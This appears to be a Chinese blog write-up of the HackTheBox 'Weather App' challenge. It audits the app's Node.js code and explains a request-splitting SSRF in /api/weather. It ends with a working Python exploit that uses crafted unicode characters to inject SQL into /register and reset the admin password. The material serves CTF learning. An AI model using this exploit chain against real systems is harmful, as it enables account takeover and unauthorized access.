HackTherBox-WeatherApp

Weather App靶场

参考文章:

HackTheBox做题记录

1.代码审计

开启环境后发现提供题目源码的下载,解压后分析代码。部分关键代码粘贴如下。

通过分析源码发现是一个Node.js程序,分析routes/index.js文件,大概发现有四个路由地址,其中两个区分get、post请求

router.get('/', (req, res) => {}
router.get('/register', (req, res) => {}
router.post('/register', (req, res) => {}
router.get('/login', (req, res) => {}
router.post('/login', (req, res) => {}
router.post('/api/weather', (req, res) => {}
1./login

分析路由代码后发现拿到flag的条件是使用admin用户成功登录后台

router.post('/login', (req, res) => {
	let { username, password } = req.body;
	if (username && password) {
		return db.isAdmin(username, password)
			.then(admin => {
				if (admin) return res.send(fs.readFileSync('/app/flag').toString());
				return res.send(response('You are not admin'));
			})
			.catch(() => res.send(response('Something went wrong')));
	}
	return re.send(response('Missing parameters'));
});

通过分析database.js发现数据库为sqlite数据库,且发现数据表结构,发现主键为id,username有unique属性。

const sqlite = require('sqlite-async');
const crypto = require('crypto');
	async migrate() {
        return this.db.exec(`
            DROP TABLE IF EXISTS users;

            CREATE TABLE IF NOT EXISTS users (
                id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                username   VARCHAR(255) NOT NULL UNIQUE,
                password   VARCHAR(255) NOT NULL
            );

            INSERT INTO users (username, password) VALUES ('admin', '${ crypto.randomBytes(32).toString('hex') }');
        `);
    }

这里了解到在login路由中,提交执行的sql语句是经过预编译处理的,无法完成注入。

2./register

分析完login路由后分析register路由,

router.post('/register', (req, res) => {

	if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
		return res.status(401).end();
	}

	let { username, password } = req.body;

	if (username && password) {
		return db.register(username, password)
			.then(()  => res.send(response('Successfully registered')))
			.catch(() => res.send(response('Something went wrong')));
	}

	return res.send(response('Missing parameters'));
});

这里可以看到,register路由对来源地址做了限制,发起请求的地址必须是127.0.0.1,而且通过socket.remoteAddress获取请求地址,无法通过添加xff等http请求头绕过。

在向下分析,可以看到该路由将传入的username和password参数带入数据库处理

    async register(user, pass) {
        // TODO: add parameterization and roll public
        return new Promise(async (resolve, reject) => {
            try {
                let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;
                resolve((await this.db.run(query)));
            } catch(e) {
                reject(e);
            }
        });
    }

这里我们发现执行的sql语句没有做预编译,也没有做过滤,所以这里可以通过sql注入获取密码,或者直接修改密码。(新建一个admin用户是行不通的)

3./api/weather

这个路由会对一个url地址发起一个get请求,url地址和部分get参数可控。

let { endpoint, city, country } = req.body;        
let apiKey = '10a62430af617a949055a46fa6dec32f';
let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`); 

/api/weather分析到这里就没有思路了

2.node.js请求分割

思路卡住后去翻了大佬的WP,发现/api/weather其实存在一个ssrf,但是需要结合node.js的请求分割漏洞。

node.js请求分割漏洞参考:

Security Bugs in Practice: SSRF via Request Splitting

node.js下get请求导致的ssrf

简单理解就是因为js发起请求时,对于没有请求体的请求方式(get、delete)默认会使用一个单字节的编码去解析请求的路径。而js在发起请求前对请求路径的处理则是使用多字节解析的unicode编码,这就导致在发起请求时单字节编码会将恶意设计好的unicode编码字符解析为控制字符,导致请求分割漏洞。

3.思路整理

得到内网ssrf的方法后整理思路如下:

  • 向/api/weather发送特定数据包,触发ssrf漏洞
  • ssrf漏洞触发后将会向/register发送sql注入代码
  • sql注入代码执行后将admin用户的密码修改
  • 通过/login路由登录拿到flag
4.exp
import requests
import urllib.parse

url = "http://157.245.45.1:30165"

username = "admin"
password = "admin') ON CONFLICT(username) DO UPDATE SET password='123456';--"

username = urllib.parse.quote(username)
password = urllib.parse.quote(password)
contentLen = len(f"username={username}&password={password}")

endpoint = \
    f"""127.0.0.1/ HTTP/1.1
Host: 127.0.0.1

POST /register HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: {contentLen}

username={username}&password={password}

GET /?mmp="""

city = "abandon"
country = "abandon"

endpoint = endpoint.replace(" ", "\u0120").replace("\n", f"\u0D0A")

data = {}
data.update({"endpoint": endpoint})
data.update({"city": city})
data.update({"country": country})

print(data)

response = requests.post(url=url+"/api/weather", data=data)
print(response.status_code)

"""
data从python给到weather
这里不需要编码 python发送的数据包已经编码好了
weather接收到参数后提取参数,组成目标url
http://${endpoint}/data/2.5/weather?q=${city},${country}&
weather将向外发送数据
在发送数据时,endpoint部分不会url编码,而是被js解析,将其中所有的unicode字符转换为控制字符
之后register接收到username和password后先url解码,再带入数据库查询

所以复现过程应该是
username和password先url编码一次
放入endpoint中,将endpoing中的Content-length字段值计算好填入
之后将endpoint部分的控制字符替换为unicode编码
"""
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值